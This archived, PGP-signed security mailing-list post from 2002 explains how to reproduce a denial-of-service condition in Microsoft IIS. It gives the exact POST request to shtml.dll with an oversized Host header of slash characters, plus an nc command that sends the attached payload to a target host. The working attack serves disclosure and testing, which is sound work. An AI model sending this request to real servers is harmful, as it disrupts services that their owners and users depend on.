-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - From the screenshots and descriptions given in <http://online.securityfocus.com/bid/5907>, it's not clear *exactly* how to reproduce the IIS Host header DoS. A POST request like the following (between the [begin] and [end] lines) will manually reproduce the IIS DoS condition: - -------------------------[begin]-------------------------------------- POST /_vti_bin/shtml.dll HTTP/1.0 Host: [32762 '/' characters] Content-length: 22 http://www.rapid7.com/ - --------------------------[end]--------------------------------------- This will cause the web service to consume 99% of the CPU for about 35 seconds. During this time, no other HTTP requests will be serviced. Attached to this email is the complete string to facilitate testing. Use it with: $ nc x.x.x.x 80 < iis_dos - Joe Testa, Rapid 7, Inc. http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x02B00839 A145 B158 2CA7 00A2 BAE8 4A18 57E5 18E0 02B0 0839 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (Cygwin32) iD8DBQE9p1w3V+UY4AKwCDkRAjHQAJ0Vx5c1rJvDY5+n2595Wq6NQbqwOACeNBBO GcA6qrjAE1Tj+Jqx3kE9U4Q= =RkVz -----END PGP SIGNATURE----- (See attached file: iis_dos)
This archive was generated by hypermail 2b30 : Fri Oct 11 2002 - 20:35:04 PDT